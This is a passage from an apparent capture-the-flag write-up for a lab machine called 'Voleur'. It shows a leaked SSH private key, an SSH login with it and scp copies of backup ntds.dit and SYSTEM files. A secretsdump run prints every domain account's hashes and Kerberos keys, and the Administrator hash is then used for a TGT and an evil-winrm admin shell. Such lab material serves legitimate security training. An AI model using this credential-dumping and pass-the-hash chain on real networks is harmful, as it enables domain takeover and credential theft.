zkwNpyd6hNCfIBhIkvAxczzhfNDi6wAAAAMBAAEAAAGBAIrVgPSZaI47s5l6hSm/gfZsZl
p8N5lD4nTKjbFr2SvpiqNT2r8wfA9qMrrt12+F9IInThVjkBiBF/6v7AYHHlLY40qjCfSl
ylh5T4mnoAgTpYOaVc3NIpsdt9zG3aZlbFR+pPMZzAvZSXTWdQpCDkyR0QDQ4PY8Li0wTh
FfCbkZd+TBaPjIQhMd2AAmzrMtOkJET0B8KzZtoCoxGWB4WzMRDKPbAbWqLGyoWGLI1Sj1
MPZareocOYBot7fTW2C7SHXtPFP9+kagVskAvaiy5Rmv2qRfu9Lcj2TfCVXdXbYyxTwoJF
ioxGl+PfiieZ6F8v4ftWDwfC+Pw2sD8ICK/yrnreGFNxdPymck+S8wPmxjWC/p0GEhilK7
wkr17GgC30VyLnOuzbpq1tDKrCf8VA4aZYBIh3wPfWFEqhlCvmr4sAZI7B+7eBA9jTLyxq
3IQpexpU8BSz8CAzyvhpxkyPXsnJtUQ8OWph1ltb9aJCaxWmc1r3h6B4VMjGILMdI/KQAA
AMASKeZiz81mJvrf2C5QgURU4KklHfgkSI4p8NTyj0WGAOEqPeAbdvj8wjksfrMC004Mfa
b/J+gba1MVc7v8RBtKHWjcFe1qSNSW2XqkQwxKb50QD17TlZUaOJF2ZSJi/xwDzX+VX9r+
vfaTqmk6rQJl+c3sh+nITKBN0u7Fr/ur0/FQYQASJaCGQZvdbw8Fup4BGPtxqFKETDKC09
41/zTd5viNX38LVig6SXhTYDDL3eyT5DE6SwSKleTPF+GsJLgAAADBANMs31CMRrE1ECBZ
sP+4rqgJ/GQn4ID8XIOG2zti2pVJ0dx7I9nzp7NFSrE80Rv8vH8Ox36th/X0jme1AC7jtR
B+3NLjpnGA5AqcPklI/lp6kSzEigvBl4nOz07fj3KchOGCRP3kpC5fHqXe24m3k2k9Sr+E
a29s98/18SfcbIOHWS4AUpHCNiNskDHXewjRJxEoE/CjuNnrVIjzWDTwTbzqQV+FOKOXoV
B9NzMi0MiCLy/HJ4dwwtce3sssxUk7pQAAAMEAzBk3mSKy7UWuhHExrsL/jzqxd7bVmLXU
EEju52GNEQL1TW4UZXVtwhHYrb0Vnu0AE+r/16o0gKScaa+lrEeQqzIARVflt7ZpJdpl3Z
fosiR4pvDHtzbqPVbixqSP14oKRSeswpN1Q50OnD11tpIbesjH4ZVEXv7VY9/Z8VcooQLW
GSgUcaD+U9Ik13vlNrrZYs9uJz3aphY6Jo23+7nge3Ui7ADEvnD3PAtzclU3xMFyX9Gf+9
RveMEYlXZqvJ9PAAAADXN2Y19iYWNrdXBAREMBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

```

So we find a backup folder that we can’t list its contents, a note from the admin talking about some WSL configuration and finally an RSA key which appears to be an SSH key.

We download it and connect through SSH on port 2222 ( we saw it open in the nmap scan, the key is for the service backup account).

```bash
ssh -i id_rsa svc_backup@10.10.11.76 -p 2222

Welcome to Ubuntu 20.04 LTS (GNU/Linux 4.4.0-20348-Microsoft x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Sep 20 00:08:22 PDT 2025

  System load:    0.52      Processes:             9
  Usage of /home: unknown   Users logged in:       0
  Memory usage:   65%       IPv4 address for eth0: 10.10.11.76
  Swap usage:     3%

363 updates can be installed immediately.
257 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Sep 19 21:25:47 2025 from 127.0.0.1
 * Starting OpenBSD Secure Shell server sshd                                                                                                                                                                                           [ OK ] 
svc_backup@DC:~$ 

```

After looking around for a bit we find GOLD!:

```bash
svc_backup@DC:/mnt/c/IT/Third-Line Support/backups/Active Directory$ ls
ntds.dit  ntds.jfm

svc_backup@DC:/mnt/c/IT/Third-Line Support/backups/registry$ ls
SECURITY  SYSTEM

```

That’s the database for all the active directory services.

We can use impacket’s secretsdump with LOCAL target to dump the database’s content, but first we need to download the ntds file and the SYSTEM. We download both using scp:

```bash
scp -i id_rsa -P 2222 svc_backup@10.10.11.76:/mnt/c/IT/'Third-Line Support'/backups/'Active Directory'/ntds.dit .
scp -i id_rsa -P 2222 svc_backup@10.10.11.76:/mnt/c/IT/'Third-Line Support'/backups/registry/SYSTEM . 
```

```bash
secretsdump.py -ntds ../../voleur/ntds.dit -system ../../voleur/SYSTEM LOCAL                          
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40
[*] Reading and decrypting hashes from ../../voleur/ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5db085d469e3181935d311b72634d77:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5aeef2c641148f9173d663be744e323c:::
voleur.htb\ryan.naylor:1103:aad3b435b51404eeaad3b435b51404ee:3988a78c5a072b0a84065a809976ef16:::
voleur.htb\marie.bryant:1104:aad3b435b51404eeaad3b435b51404ee:53978ec648d3670b1b83dd0b5052d5f8:::
voleur.htb\lacey.miller:1105:aad3b435b51404eeaad3b435b51404ee:2ecfe5b9b7e1aa2df942dc108f749dd3:::
voleur.htb\svc_ldap:1106:aad3b435b51404eeaad3b435b51404ee:0493398c124f7af8c1184f9dd80c1307:::
voleur.htb\svc_backup:1107:aad3b435b51404eeaad3b435b51404ee:f44fe33f650443235b2798c72027c573:::
voleur.htb\svc_iis:1108:aad3b435b51404eeaad3b435b51404ee:246566da92d43a35bdea2b0c18c89410:::
voleur.htb\jeremy.combs:1109:aad3b435b51404eeaad3b435b51404ee:7b4c3ae2cbd5d74b7055b7f64c0b3b4c:::
voleur.htb\svc_winrm:1601:aad3b435b51404eeaad3b435b51404ee:5d7e37717757433b4780079ee9b1d421:::
[*] Kerberos keys from ../../voleur/ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
Administrator:aes128-cts-hmac-sha1-96:38af4c8667c90d19b286c7af861b10cc
Administrator:des-cbc-md5:459d836b9edcd6b0
DC$:aes256-cts-hmac-sha1-96:65d713fde9ec5e1b1fd9144ebddb43221123c44e00c9dacd8bfc2cc7b00908b7
DC$:aes128-cts-hmac-sha1-96:fa76ee3b2757db16b99ffa087f451782
DC$:des-cbc-md5:64e05b6d1abff1c8
krbtgt:aes256-cts-hmac-sha1-96:2500eceb45dd5d23a2e98487ae528beb0b6f3712f243eeb0134e7d0b5b25b145
krbtgt:aes128-cts-hmac-sha1-96:04e5e22b0af794abb2402c97d535c211
krbtgt:des-cbc-md5:34ae31d073f86d20
voleur.htb\ryan.naylor:aes256-cts-hmac-sha1-96:0923b1bd1e31a3e62bb3a55c74743ae76d27b296220b6899073cc457191fdc74
voleur.htb\ryan.naylor:aes128-cts-hmac-sha1-96:6417577cdfc92003ade09833a87aa2d1
voleur.htb\ryan.naylor:des-cbc-md5:4376f7917a197a5b
voleur.htb\marie.bryant:aes256-cts-hmac-sha1-96:d8cb903cf9da9edd3f7b98cfcdb3d36fc3b5ad8f6f85ba816cc05e8b8795b15d
voleur.htb\marie.bryant:aes128-cts-hmac-sha1-96:a65a1d9383e664e82f74835d5953410f
voleur.htb\marie.bryant:des-cbc-md5:cdf1492604d3a220
voleur.htb\lacey.miller:aes256-cts-hmac-sha1-96:1b71b8173a25092bcd772f41d3a87aec938b319d6168c60fd433be52ee1ad9e9
voleur.htb\lacey.miller:aes128-cts-hmac-sha1-96:aa4ac73ae6f67d1ab538addadef53066
voleur.htb\lacey.miller:des-cbc-md5:6eef922076ba7675
voleur.htb\svc_ldap:aes256-cts-hmac-sha1-96:2f1281f5992200abb7adad44a91fa06e91185adda6d18bac73cbf0b8dfaa5910
voleur.htb\svc_ldap:aes128-cts-hmac-sha1-96:7841f6f3e4fe9fdff6ba8c36e8edb69f
voleur.htb\svc_ldap:des-cbc-md5:1ab0fbfeeaef5776
voleur.htb\svc_backup:aes256-cts-hmac-sha1-96:c0e9b919f92f8d14a7948bf3054a7988d6d01324813a69181cc44bb5d409786f
voleur.htb\svc_backup:aes128-cts-hmac-sha1-96:d6e19577c07b71eb8de65ec051cf4ddd
voleur.htb\svc_backup:des-cbc-md5:7ab513f8ab7f765e
voleur.htb\svc_iis:aes256-cts-hmac-sha1-96:77f1ce6c111fb2e712d814cdf8023f4e9c168841a706acacbaff4c4ecc772258
voleur.htb\svc_iis:aes128-cts-hmac-sha1-96:265363402ca1d4c6bd230f67137c1395
voleur.htb\svc_iis:des-cbc-md5:70ce25431c577f92
voleur.htb\jeremy.combs:aes256-cts-hmac-sha1-96:8bbb5ef576ea115a5d36348f7aa1a5e4ea70f7e74cd77c07aee3e9760557baa0
voleur.htb\jeremy.combs:aes128-cts-hmac-sha1-96:b70ef221c7ea1b59a4cfca2d857f8a27
voleur.htb\jeremy.combs:des-cbc-md5:192f702abff75257
voleur.htb\svc_winrm:aes256-cts-hmac-sha1-96:6285ca8b7770d08d625e437ee8a4e7ee6994eccc579276a24387470eaddce114
voleur.htb\svc_winrm:aes128-cts-hmac-sha1-96:f21998eb094707a8a3bac122cb80b831
voleur.htb\svc_winrm:des-cbc-md5:32b61fb92a7010ab
[*] Cleaning up... 

```

We get all the ntlm hashes for all the users:

Generate a TGT ticket for the Administrator:

```bash
nxc smb 10.10.11.76 -u administrator -H e656e07c56d831611b577b160b259ad2 -k --generate-tgt administrator 
SMB         10.10.11.76     445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.76     445    DC               [+] voleur.htb\administrator:e656e07c56d831611b577b160b259ad2 (Pwn3d!)
SMB         10.10.11.76     445    DC               [+] TGT saved to: administrator.ccache
SMB         10.10.11.76     445    DC               [+] Run the following command to use the TGT: export KRB5CCNAME=administrator.ccache

export KRB5CCNAME=administrator.ccache
```

```bash
evil-winrm -i dc.voleur.htb -r VOLEUR.HTB

                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

GG!